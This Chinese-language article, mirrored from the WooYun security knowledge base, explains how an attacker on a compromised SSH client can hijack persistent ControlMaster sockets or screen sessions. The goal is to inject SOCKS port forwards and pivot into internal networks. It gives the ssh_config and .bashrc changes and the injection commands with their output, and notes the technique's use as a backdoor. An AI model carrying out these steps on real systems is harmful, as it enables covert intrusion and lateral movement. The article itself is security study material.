作者:
mickey
·
2015/03/18 10:39
0x00 前言
昨天A牛發群裡的連結,其實這種攻擊我感覺適合留後門,屬於Post Exploitation階段,我以前也沒用過這個方法,都是傻呼呼的用個ld_preload後門,實際環境測試透過後,發現可用,比較有實用價值,就分享下,有錯誤的地方還請大家指出。
0x01 細節
1.1第一種場景:
攻擊流程如下:SSH客戶(ssh_user)連線到hop_1,攻擊者(attacker)能夠控制ssh_user這臺機器,攻擊者透過注入埠轉發來實現入侵hop_1和hop_2之後的網路。步驟如下:
1. 攻擊者可以用兩種方式來修改ssh客戶端,如果有ROOT許可權可以直接修改/etc/ssh/ssh_config,如果沒有修改ssh_config檔案的許可權,可以透過在相應使用者的.bashrc中封裝ssh來實現。主要涉及的項如下:
ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes
如果開啟了ControlPersist,表示使用者在進行SSH連線後,即使退出了會話,我們也能透過socket劫持,因為這個檔案不會刪除。
2. 當(ssh_user)連線到hop_1(192.168.56.131)的時候,會在/tmp目錄下生成一個socket檔案,我們使用
#!bash
ssh -S [email protected]\:22 %h
來連線
注入命令埠轉發的命令如下:
#!bash
ssh -O forward -D 8888 -S [email protected]\:22 %x
執行完這條命令後,我們就可以使用ssh_user這臺機器的8888埠做SOCKS5代理,訪問hop_2後的網段了。
3. 前面說過,如果ControlPersist為yes,則不會自動刪除sockets檔案,[email protected]:22,也可以優雅的使用
#!bash
[email protected]: # ssh -O exit -S [email protected]\:22 %x
來刪除。
在.bashrc裡封裝ssh命令的方法如下:
#!bash
ssh ()
{
/usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@";
}
1.2第二種場景:
這種情景是ssh_user使用者使用screen管理ssh會話時的情景,步驟如下:
1. 當ssh_user使用
#!bash
screen ssh [email protected]
連線遠端的hop_1(192.168.56.131)時,會在/var/run/screen有顯示相應的檔案
#!bash
[email protected]:~# ls -la /var/run/screen/
total 0
drwxrwxr-x 3 root utmp 60 Mar 16 03:37 .
drwxr-xr-x 20 root root 640 Mar 3 21:23 ..
drwx------ 2 root root 60 Mar 16 04:21 S-root
其中S-ROOT表示是本地的root使用者連線的遠端,可以用screen -r root/
來接管會話,或者用screen -x 6851.pts-0.kali
。
2. 如果要注入埠轉發,還有 一點要注意,需要先執行script /dev/null來繞過pts/tty限制。命令如下
#!bash
[email protected]:~# lsof -i TCP:8888
[email protected]:~# script /dev/null
Script started, file is /dev/null
[email protected]:~# screen -S 6851.pts-0.kali -p 0 -X stuff $'~C'
[email protected]:~# screen -S 6851.pts-0.kali -p 0 -X stuff $'-D:8888\n\n'
[email protected]:~# lsof -i TCP:8888
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
ssh 6852 root 7u IPv4 94301 0t0 TCP *:8888 (LISTEN)
ssh 6852 root 8u IPv6 94302 0t0 TCP *:8888 (LISTEN)
注入screen的ssh會話,會有一個不好的地方,就是你敲的命令,會在當前正在連線的使用者那裡同時顯示,容易被發現。
0x02 參考文章
http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!